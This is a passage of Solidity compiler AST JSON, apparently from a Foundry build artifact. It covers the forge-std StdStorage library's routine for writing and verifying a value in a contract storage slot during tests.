memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9155,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"15879:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":9161,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15879:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"15857:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"nodeType":"VariableDeclarationStatement","src":"15833:95:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9171,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9168,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":9164,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"15943:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9165,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15948:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"15943:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"expression":{"id":9166,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"15961:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9167,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"15966:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"15961:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"15943:34:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9169,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"15942:36:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":9170,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"15981:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"15942:40:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9207,"nodeType":"IfStatement","src":"15938:460:8","trueBody":{"id":9206,"nodeType":"Block","src":"15984:414:8","statements":[{"assignments":[9173],"declarations":[{"constant":false,"id":9173,"mutability":"mutable","name":"maxVal","nameLocation":"16006:6:8","nodeType":"VariableDeclaration","scope":9206,"src":"15998:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9172,"name":"uint256","nodeType":"ElementaryTypeName","src":"15998:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":9185,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"32","id":9174,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16015:1:8","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9182,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"323536","id":9175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16021:3:8","typeDescriptions":{"typeIdentifier":"t_rational_256_by_1","typeString":"int_const 256"},"value":"256"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9180,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":9176,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16028:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9177,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16033:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"16028:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"expression":{"id":9178,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16046:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9179,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16051:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"16046:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16028:34:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9181,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"16027:36:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16021:42:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":9183,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"16020:44:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16015:49:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"15998:66:8"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":9192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":9189,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16111:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9188,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16103:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9187,"name":"uint256","nodeType":"ElementaryTypeName","src":"16103:7:8","typeDescriptions":{}}},"id":9190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16103:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":9191,"name":"maxVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9173,"src":"16118:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16103:21:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"arguments":[{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a205061636b656420736c6f742e2057652063616e2774206669742076616c75652067726561746572207468616e20","id":9197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16212:76:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_c6d0684ad88a5416aef2586056893899c6c8e834933c68e4c91239ee0856a523","typeString":"literal_string \"stdStorage find(StdStorage): Packed slot. We can't fit value greater than \""},"value":"stdStorage find(StdStorage): Packed slot. We can't fit value greater than "},{"arguments":[{"id":9200,"name":"maxVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9173,"src":"16326:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9198,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16314:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16317:8:8","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"16314:11:8","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16314:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c6d0684ad88a5416aef2586056893899c6c8e834933c68e4c91239ee0856a523","typeString":"literal_string \"stdStorage find(StdStorage): Packed slot. We can't fit value greater than \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":9195,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16170:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9196,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16174:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"16170:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9202,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16170:185:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9194,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16142:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":9193,"name":"string","nodeType":"ElementaryTypeName","src":"16142:6:8","typeDescriptions":{}}},"id":9203,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16142:231:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9186,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"16078:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":9204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16078:309:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9205,"nodeType":"ExpressionStatement","src":"16078:309:8"}]}},{"assignments":[9209],"declarations":[{"constant":false,"id":9209,"mutability":"mutable","name":"curVal","nameLocation":"16415:6:8","nodeType":"VariableDeclaration","scope":9284,"src":"16407:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9208,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16407:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9219,"initialValue":{"arguments":[{"id":9212,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16432:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9215,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16445:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9216,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16450:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16445:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9214,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16437:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9213,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16437:7:8","typeDescriptions":{}}},"id":9217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16437:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9210,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16424:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9211,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16427:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"16424:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":9218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16424:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"16407:49:8"},{"assignments":[9221],"declarations":[{"constant":false,"id":9221,"mutability":"mutable","name":"valToSet","nameLocation":"16474:8:8","nodeType":"VariableDeclaration","scope":9284,"src":"16466:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9220,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16466:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9234,"initialValue":{"arguments":[{"id":9224,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9209,"src":"16520:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"id":9227,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16536:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9226,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16528:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9225,"name":"uint256","nodeType":"ElementaryTypeName","src":"16528:7:8","typeDescriptions":{}}},"id":9228,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16528:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":9229,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16542:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9230,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16547:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"16542:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":9231,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16559:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9232,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16564:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"16559:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9222,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"16485:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16500:19:8","memberName":"getUpdatedSlotValue","nodeType":"MemberAccess","referencedDeclaration":8780,"src":"16485:34:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_uint256_$_t_uint256_$_t_uint256_$returns$_t_bytes32_$","typeString":"function (bytes32,uint256,uint256,uint256) pure returns (bytes32)"}},"id":9233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16485:91:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"16466:110:8"},{"expression":{"arguments":[{"id":9238,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16596:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9241,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16609:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9242,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16614:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16609:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16601:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16601:7:8","typeDescriptions":{}}},"id":9243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16601:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":9244,"name":"valToSet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9221,"src":"16621:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16587:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16590:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"16587:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":9245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16587:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9246,"nodeType":"ExpressionStatement","src":"16587:43:8"},{"assignments":[9248,9250],"declarations":[{"constant":false,"id":9248,"mutability":"mutable","name":"success","nameLocation":"16647:7:8","nodeType":"VariableDeclaration","scope":9284,"src":"16642:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9247,"name":"bool","nodeType":"ElementaryTypeName","src":"16642:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":9250,"mutability":"mutable","name":"callResult","nameLocation":"16664:10:8","nodeType":"VariableDeclaration","scope":9284,"src":"16656:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9249,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16656:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9255,"initialValue":{"arguments":[{"id":9253,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"16704:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9251,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"16678:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16693:10:8","memberName":"callTarget","nodeType":"MemberAccess","referencedDeclaration":7552,"src":"16678:25:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":9254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16678:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"16641:68:8"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":9261,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":9257,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"16724:8:8","subExpression":{"id":9256,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9248,"src":"16725:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":9260,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":9258,"name":"callResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9250,"src":"16736:10:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":9259,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16750:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"16736:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"16724:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9279,"nodeType":"IfStatement","src":"16720:176:8","trueBody":{"id":9278,"nodeType":"Block","src":"16755:141:8","statements":[{"expression":{"arguments":[{"id":9265,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16778:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9268,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16791:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9269,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16796:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16791:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9267,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16783:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9266,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16783:7:8","typeDescriptions":{}}},"id":9270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16783:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":9271,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9209,"src":"16803:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9262,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16769:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16772:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"16769:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":9272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16769:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9273,"nodeType":"ExpressionStatement","src":"16769:41:8"},{"expression":{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a204661696c656420746f2077726974652076616c75652e","id":9275,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16831:53:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_b553baf150cfdb312beff968f03edcd3b801a9113d8bc19cff4e03b1eab07b61","typeString":"literal_string \"stdStorage find(StdStorage): Failed to write value.\""},"value":"stdStorage find(StdStorage): Failed to write value."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b553baf150cfdb312beff968f03edcd3b801a9113d8bc19cff4e03b1eab07b61","typeString":"literal_string \"stdStorage find(StdStorage): Failed to write value.\""}],"id":9274,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"16824:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) 